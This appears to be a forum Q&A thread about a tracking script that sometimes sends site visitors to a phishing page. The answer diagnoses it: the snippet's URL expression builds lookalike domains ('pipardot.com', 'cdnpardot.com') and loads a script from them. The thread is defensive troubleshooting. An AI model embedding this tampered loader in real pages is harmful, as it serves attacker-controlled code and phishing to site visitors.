I am using a third party service that provided a tracking script which when embedded in the page seems to create some kind of vulnerability as occasionally people are redirected to a phising link instead. Big flashy text pretend microsoft login that kind of thing.

This is the script:

<script type="text/javascript">
piAId = '<redacted>';
piCId = '<redacted>';
piHostname = 'pi.pardot.com';

(function() {
            function async_load(){
                            var s = document.createElement('script'); s.type = 'text/javascript';
                            s.src = ('https:' == document.location.protocol ? 'https://pi' : 'http://cdn') + 'pardot.com/pd.js';
                            var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c);
            if(window.attachEvent) { window.attachEvent('onload', async_load); }
            else { window.addEventListener('load', async_load, false); }

Is the issue with the script itself or the hosting configuration allowing this to be manipulated?


There is something funky about this script.

('https:' == document.location.protocol ? 'https://pi' : 'http://cdn') + 'pardot.com/pd.js'

This expression produces the urls pipardot.com and cdnpardot.com which appear to be registered to not pardot.com. The script is bad, and wherever you got the script from is also bad.

It may also have been good from the original source, but edited by another exploit on your web server.

| improve this answer | |
  • Thanks, I'll find out where this script came from exactly. Glad to see the script is the culprit. – benikens Apr 16 '19 at 1:33

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.